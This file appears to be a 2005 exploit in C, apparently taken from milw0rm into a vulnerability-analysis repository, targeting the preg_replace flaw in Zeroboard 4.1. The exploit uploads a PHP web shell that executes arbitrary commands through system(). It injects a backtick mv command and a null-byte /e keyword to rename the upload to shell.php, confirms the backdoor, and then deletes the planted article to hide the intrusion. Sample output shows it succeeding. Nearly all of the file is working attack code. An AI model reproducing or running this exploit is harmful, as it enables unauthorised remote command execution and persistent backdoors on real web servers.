lilbool/vuln-code-analysis
0
1/*
2*
3----------------------------------------------------------------------------------
4[+] Zeroboard preg_replace vulnerability Remote nobody shell exploit
5----------------------------------------------------------------------------------
6
7> by n0gada (n0gada@null2root.org)
8
9[*] date : 2005/5/29
10
11[*] the bug
12
13Original advisory:
14- http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php
15
16Application
17- Zeroboard 4.1 pl2 - 4.1 pl5
18
19Reference:
20- http://www.nzeo.com
21
22[*] Target - My test server
23
24$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test
25- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test
26
27[+] xxx.xxx.xxx connecting ok!
28[+] Zeroboard writing . ok!
29[+] Confirmming your article - found!
30[+] Exploiting zeroboard start ............................... Done!
31[*] Confirmming your backdoor php script -
32http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
33[+] Exploiting success!!
34[*] Remove your article - ok! :)
35
36------------------------------------------------------------------------------
37*
38*/
39
40#include <stdio.h>
41#include <stdarg.h>
42#include <stdlib.h>
43#include <string.h>
44#include <unistd.h>
45#include <netdb.h>
46#include <sys/types.h>
47#include <signal.h>
48#include <time.h>
49#include <sys/socket.h>
50#include <netinet/in.h>
51#include <arpa/inet.h>
52#include <sys/select.h>
53#include <errno.h>
54
55
56#define BUFSIZE 4096
57#define READSIZE 1500
58
59void ParseZbHost(char *);
60void ConnectZboard(char *, unsigned short);
61void WriteZboard(void);
62void ExploitZboard(void);
63void ConfirmPHPScript(void);
64void DeleteArticle(void);
65void StatusProcess(void);
66void Usage(char *);
67void OutputErr(char *, int);
68
69char *zb_host;
70char *zb_dir;
71char *zb_tid;
72unsigned short zb_port;
73
74int sockfd = -1;
75int reconn=0;
76char ReadBuf[READSIZE];
77char WriteBuf[BUFSIZE];
78char TempBuf[BUFSIZ];
79char no[16];
80
81
82int main(int argc, char *argv[]){
83
84if(argc < 2) Usage(argv[0]);
85
86if(argc > 2) zb_port = atoi(argv[2]);
87else zb_port = 80;
88
89// http://host/bbs/zboard.php?id=test
90
91ParseZbHost(argv[1]);
92
93ConnectZboard(zb_host, zb_port);
94
95WriteZboard();
96
97ExploitZboard();
98
99ConfirmPHPScript();
100
101DeleteArticle();
102}
103
104void ParseZbHost(char *zbhost)
105{
106char *psbuf;
107char *sptr=NULL;
108char *eptr=NULL;
109
110psbuf = malloc(strlen(zbhost)+1);
111
112strcpy(psbuf, zbhost);
113
114if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host need\n", 0);
115
116zb_host = sptr+7;
117
118sptr = strchr(zb_host, '/');
119sptr[0] = '\0';
120sptr++;
121
122if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr("\"zboard.php?id=\"
123need\n", 0);
124
125zb_tid = eptr+14;
126
127eptr--;
128eptr[0] = '\0';
129
130zb_dir = sptr;
131
132fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%s\n", zb_host, zb_dir,
133zb_tid);
134fflush(stdout);
135}
136
137
138void ConnectZboard(char *server, unsigned short port)
139{
140
141struct sockaddr_in serv;
142struct hostent *hostname;
143
144if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
145if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1);
146
147memset(&serv, 0, sizeof(serv));
148serv.sin_family = AF_INET;
149serv.sin_port = htons(port);
150serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
151// serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);
152
153if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
154OutputErr("connect", 1);
155
156if(!reconn) fprintf(stdout,"\n [+] %s connecting ok!\n", server);
157else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!\n", server);
158fflush(stdout);
159
160reconn = 0;
161}
162
163void WriteZboard(void)
164{
165fd_set fds;
166struct timeval tv;
167int err = -1;
168int i = 0;
169int cnt=0;
170char *tmp_ptr, *ptr;
171char form_data[BUFSIZE];
172
173memset(form_data, 0, sizeof(form_data));
174sprintf(form_data,
175"-----------------------------8ac34985126d8\r\n"
176"Content-Disposition: form-data; name=\"page\"\r\n"
177"\r\n"
178"1\r\n"
179"-----------------------------8ac34985126d8\r\n"
180"Content-Disposition: form-data; name=\"id\"\r\n"
181"\r\n"
182"%s\r\n"
183"-----------------------------8ac34985126d8\r\n"
184"Content-Disposition: form-data; name=\"no\"\r\n"
185"\r\n"
186"\r\n"
187"-----------------------------8ac34985126d8\r\n"
188"Content-Disposition: form-data; name=\"select_arrange\"\r\n"
189"\r\n"
190"headnum\r\n"
191"-----------------------------8ac34985126d8\r\n"
192"Content-Disposition: form-data; name=\"desc\"\r\n"
193"\r\n"
194"asc\r\n"
195"-----------------------------8ac34985126d8\r\n"
196"Content-Disposition: form-data; name=\"page_num\"\r\n"
197"\r\n"
198"\r\n"
199"-----------------------------8ac34985126d8\r\n"
200"Content-Disposition: form-data; name=\"keyword\"\r\n"
201"\r\n"
202"\r\n"
203"-----------------------------8ac34985126d8\r\n"
204"Content-Disposition: form-data; name=\"category\"\r\n"
205"\r\n"
206"\r\n"
207"-----------------------------8ac34985126d8\r\n"
208"Content-Disposition: form-data; name=\"sn\"\r\n"
209"\r\n"
210"off\r\n"
211"-----------------------------8ac34985126d8\r\n"
212"Content-Disposition: form-data; name=\"ss\"\r\n"
213"\r\n"
214"on\r\n"
215"-----------------------------8ac34985126d8\r\n"
216"Content-Disposition: form-data; name=\"sc\"\r\n"
217"\r\n"
218"on\r\n"
219"-----------------------------8ac34985126d8\r\n"
220"Content-Disposition: form-data; name=\"mode\"\r\n"
221"\r\n"
222"write\r\n"
223"-----------------------------8ac34985126d8\r\n"
224"Content-Disposition: form-data; name=\"password\"\r\n"
225"\r\n"
226"1212\r\n"
227"-----------------------------8ac34985126d8\r\n"
228"Content-Disposition: form-data; name=\"name\"\r\n"
229"\r\n"
230"zero\r\n"
231"-----------------------------8ac34985126d8\r\n"
232"Content-Disposition: form-data; name=\"email\"\r\n"
233"\r\n"
234"zero@nzeo.com\r\n"
235"-----------------------------8ac34985126d8\r\n"
236"Content-Disposition: form-data; name=\"homepage\"\r\n"
237"\r\n"
238"\r\n"
239"-----------------------------8ac34985126d8\r\n"
240"Content-Disposition: form-data; name=\"subject\"\r\n"
241"\r\n"
242"zero@nzeo.com hi~!\r\n"
243"-----------------------------8ac34985126d8\r\n"
244"Content-Disposition: form-data; name=\"memo\"\r\n"
245"\r\n"
246"`mv data/%s/d214924151d9e1ffac5bb2258561031e
247data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103\r\n"
248//"-----------------------------8ac34985126d8\r\n"
249//"Content-Disposition: form-data; name=\"sitelink1\"\r\n"
250//"\r\n"
251//"\r\n"
252//"-----------------------------8ac34985126d8\r\n"
253//"Content-Disposition: form-data; name=\"sitelink2\"\r\n"
254//"\r\n"
255//"\r\n"
256"-----------------------------8ac34985126d8\r\n"
257"Content-Disposition: form-data; name=\"file1\";
258filename=\"d214924151d9e1ffac5bb2258561031e\"\r\n"
259"Content-Type: text/plain\r\n"
260"\r\n"
261"<?
262if(count($_GET)) extract($_GET);
263if(count($_POST)) extract($_POST);
264if(count($_SERVER)) extract($_SERVER);
265echo \"<form action=$PHP_SELF method=post>
266command : <input type=text name=cmd>
267<input type=submit></form><hr>\";
268if($cmd){
269$cmd = str_replace(\"\\\\\", \"\", $cmd);
270echo \"<pre>\"; system($cmd); echo \"</pre>\";
271}
272?>\r\n"
273"-----------------------------8ac34985126d8\r\n"
274"Content-Disposition: form-data; name=\"file2\"; filename=\"\"\r\n"
275"Content-Type: application/octet-stream\r\n"
276"\r\n"
277"\r\n"
278"-----------------------------8ac34985126d8\r\n"
279"Content-Disposition: form-data; name=\"x\"\r\n"
280"\r\n"
281"36\r\n"
282"-----------------------------8ac34985126d8\r\n"
283"Content-Disposition: form-data; name=\"y\"\r\n"
284"\r\n"
285"11\r\n"
286"-----------------------------8ac34985126d8--\r\n"
287, zb_tid, zb_tid, zb_tid);
288
289
290
291memset(WriteBuf, 0, sizeof(WriteBuf));
292
293sprintf(WriteBuf,
294"POST /%s/write_ok.php HTTP/1.1\r\n"
295"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
296application/x-shockwave-flash, application/vnd.ms-excel,
297application/vnd.ms-powerpoint, application/msword, */*\r\n"
298"Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
299sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
300mode=write&sn1=&divpage=1\r\n"
301"Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8\r\n"
302"Accept-Encoding: gzip, deflate\r\n"
303"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
304"Host: %s\r\n"
305"Content-Length: %d\r\n"
306"Connection: Keep-Alive\r\n"
307"Cache-Control: no-cache\r\n"
308"\r\n""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);
309
310fprintf(stdout, " [+] Zeroboard writing ");
311fflush(stdout);
312
313if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
314
315tv.tv_sec = 60;
316tv.tv_usec = 0;
317
318FD_ZERO(&fds);
319
320for(;;){
321
322memset(ReadBuf, 0, sizeof(ReadBuf));
323
324if(i!=0xb33f) StatusProcess();
325
326FD_SET(sockfd, &fds);
327
328if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
329if(FD_ISSET(sockfd, &fds)){
330
331if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
332
333
334if(strstr(ReadBuf, "HTTP/1.1 ")){
335if(strstr(ReadBuf+17, "Connection: close\r\n")) reconn = 1;
336
337if(strstr(ReadBuf+9, "200 OK\r\n")) {
338err++;
339}
340else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
341OutputErr(" failed!(page not found)\n", 0);
342}
343else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
344OutputErr(" failed!(Bad Request)\n", 0);
345}
346else {
347OutputErr(ReadBuf, 0);
348}
349
350}
351
352if(err == 0){
353
354if(strstr(ReadBuf,"<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id="))
355{
356fprintf(stdout, " ok!\n");
357fflush(stdout);
358
359fprintf(stdout," [+] Confirmming your article");
360fflush(stdout);
361
362if(tmp_ptr = strstr(ReadBuf+18, "url=")) {
363
364ptr = tmp_ptr+4;
365if(ptr != NULL){
366if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = '\0';
367}
368}
369if(ptr = strstr(ReadBuf,"=&no=")){
370ptr += 5;
371memset(no, 0, sizeof(no));
372for(i=0; i<16; i++){
373if(ptr[i] == '&') break;
374no[i] = ptr[i];
375}
376}
377if(strlen(no) > 0){
378fprintf(stdout," - found!\n");
379fflush(stdout);
380return;
381}
382else {
383OutputErr(" - failed!(not writed!?!)\n", 0);
384}
385}
386else {
387if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"\x30\x0d\x0a\x0d\x0a")) break;
388}
389}
390else {
391OutputErr("err number error\n", 0);
392}
393}
394}
395
396fprintf(stderr, " error!\n");
397
398}
399
400void ExploitZboard(void)
401{
402fd_set fds;
403struct timeval tv;
404int err = -1;
405
406if(reconn == 1) ConnectZboard(zb_host, zb_port);
407
408memset(WriteBuf, 0, sizeof(WriteBuf));
409
410sprintf(WriteBuf,
411"GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
412sc=on&keyword=70ab423bfaea846c9db0b96126254103/e"
413, zb_dir, zb_tid);
414
415memcpy(WriteBuf+strlen(WriteBuf), "\x25\x30\x30", 3);
416
417sprintf(WriteBuf+strlen(WriteBuf),
418"&select_arrange=headnum&desc=asc&no=%s HTTP/1.1\r\n"
419"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
420application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
421"Referer: http://%s/%s/zboard.php\r\n"
422"Accept-Encoding: gzip, deflate\r\n"
423"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
424"Host: %s\r\n"
425"Connection: Keep-Alive\r\n"
426"\r\n", no, zb_host, zb_dir, zb_host);
427
428fprintf(stdout, " [+] Exploiting zeroboard start ");
429fflush(stdout);
430
431if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
432
433tv.tv_sec = 60;
434tv.tv_usec = 0;
435
436FD_ZERO(&fds);
437
438for(;;){
439
440StatusProcess();
441
442memset(ReadBuf, 0, sizeof(ReadBuf));
443
444FD_SET(sockfd, &fds);
445if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
446if(FD_ISSET(sockfd, &fds)){
447
448if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
449
450
451if(strstr(ReadBuf, "HTTP/1.1 ")){
452
453if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;
454
455if(strstr(ReadBuf+9, "200 OK\r\n")) {
456err++;
457}
458else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
459OutputErr(" failed!(page not found)\n", 0);
460}
461else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
462OutputErr(" failed!(Bad Request)\n", 0);
463}
464else {
465OutputErr(ReadBuf, 0);
466}
467
468}
469
470if(err >= 0){
471
472if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "\x30\x0d\x0a\x0d\x0a")){
473fprintf(stdout," Done!\n");
474fflush(stdout);
475return;
476}
477
478}
479
480}
481}
482
483fprintf(stderr," error!\n");
484
485}
486
487void ConfirmPHPScript(void)
488{
489fd_set fds;
490struct timeval tv;
491
492if(reconn == 1) ConnectZboard(zb_host, zb_port);
493
494memset(WriteBuf, 0, sizeof(WriteBuf));
495sprintf(WriteBuf,
496"GET /%s/data/%s/shell.php HTTP/1.1\r\n"
497"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
498application/x-shockwave-flash, application/vnd.ms-excel,
499application/vnd.ms-powerpoint, application/msword, */*\r\n"
500"Referer: http://%s/%s/zboard.php\r\n"
501"Accept-Encoding: gzip, deflate\r\n"
502"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
503"Host: %s\r\n"
504"Connection: Keep-Alive\r\n"
505"\r\n", zb_dir, zb_tid, zb_host, zb_dir, zb_host);
506
507fprintf(stdout, " [*] Confirmming your backdoor php script");
508fflush(stdout);
509
510if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
511
512tv.tv_sec = 60;
513tv.tv_usec = 0;
514
515
516FD_ZERO(&fds);
517
518for(;;){
519memset(ReadBuf, 0, sizeof(ReadBuf));
520
521FD_SET(sockfd, &fds);
522if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
523if(FD_ISSET(sockfd, &fds)){
524if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
525
526
527if(strstr(ReadBuf, "HTTP/1.1 ")){
528if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;
529
530if(strstr(ReadBuf+9, "200 OK\r\n")) {
531fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!\n
532[+] Exploiting success!!\n", zb_host, zb_dir, zb_tid);
533fflush(stdout);
534return;
535}
536else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
537OutputErr(" - page not found\n - 'mv' instruction permission denied.\n - zeroboard was patched.\n"
538" [-] Exploit failed!\n", 0);
539}
540else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
541OutputErr(" - Bad Request\n"
542" [-] Exploit failed!\n", 0);
543}
544else {
545OutputErr(ReadBuf, 0);
546}
547}
548
549
550}
551}
552
553fprintf(stderr," error!\n");
554}
555
556
557void DeleteArticle(void)
558{
559fd_set fds;
560struct timeval tv;
561char post_data[BUFSIZ];
562
563
564if(reconn == 1) ConnectZboard(zb_host, zb_port);
565
566sprintf(post_data,
567"page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9\r\n", zb_tid, no);
568
569memset(WriteBuf, 0, sizeof(WriteBuf));
570sprintf(WriteBuf,
571"POST /%s/delete_ok.php HTTP/1.1\r\n"
572"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
573"Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%s\r\n"
574"Content-Type: application/x-www-form-urlencoded\r\n"
575"Accept-Encoding: gzip, deflate\r\n"
576"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
577"Host: %s\r\n"
578"Content-Length: %d\r\n"
579"Connection: close\r\n"
580"Cache-Control: no-cache\r\n"
581"\r\n"
582"%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);
583
584
585fprintf(stdout, " [*] Remove your article ");
586fflush(stdout);
587
588if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
589
590tv.tv_sec = 60;
591tv.tv_usec = 0;
592
593FD_ZERO(&fds);
594
595for(;;){
596
597memset(ReadBuf, 0, sizeof(ReadBuf));
598
599FD_SET(sockfd, &fds);
600
601if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
602if(FD_ISSET(sockfd, &fds)){
603if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
604
605if(strstr(ReadBuf, "HTTP/1.1 ")){
606if(strstr(ReadBuf+9, "200 OK\r\n")) {
607
608if(strstr(ReadBuf+17, "<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id=")) {
609fprintf(stdout, " - ok! :)\n");
610fflush(stdout);
611return;
612}
613else{
614break;
615}
616}
617else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
618OutputErr(" - failed!(page not found)\n", 0);
619}
620else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
621OutputErr(" - failed!(Bad Request)\n", 0);
622}
623else {
624fprintf(stderr,"%s", ReadBuf);
625exit(1);
626}
627}
628
629}
630}
631
632fprintf(stderr," error!\n");
633}
634
635void StatusProcess(void)
636{
637putchar('.');
638fflush(stdout);
639}
640
641
642void OutputErr(char *msg, int type)
643{
644if(!type){
645fprintf(stderr,"%s", msg);
646fflush(stderr);
647}
648else if(type==1){
649if(!strcmp(msg, zb_host)) herror(msg);
650else perror(msg);
651}
652
653DeleteArticle();
654exit(1);
655}
656
657void Usage(char *arg)
658{
659fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada\n");
660fprintf(stderr,"--------------------------------------------------------------------------\n");
661fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] \n", arg);
662fprintf(stderr,"--------------------------------------------------------------------------\n");
663
664exit(1);
665}
666
667// milw0rm.com [2005-05-31]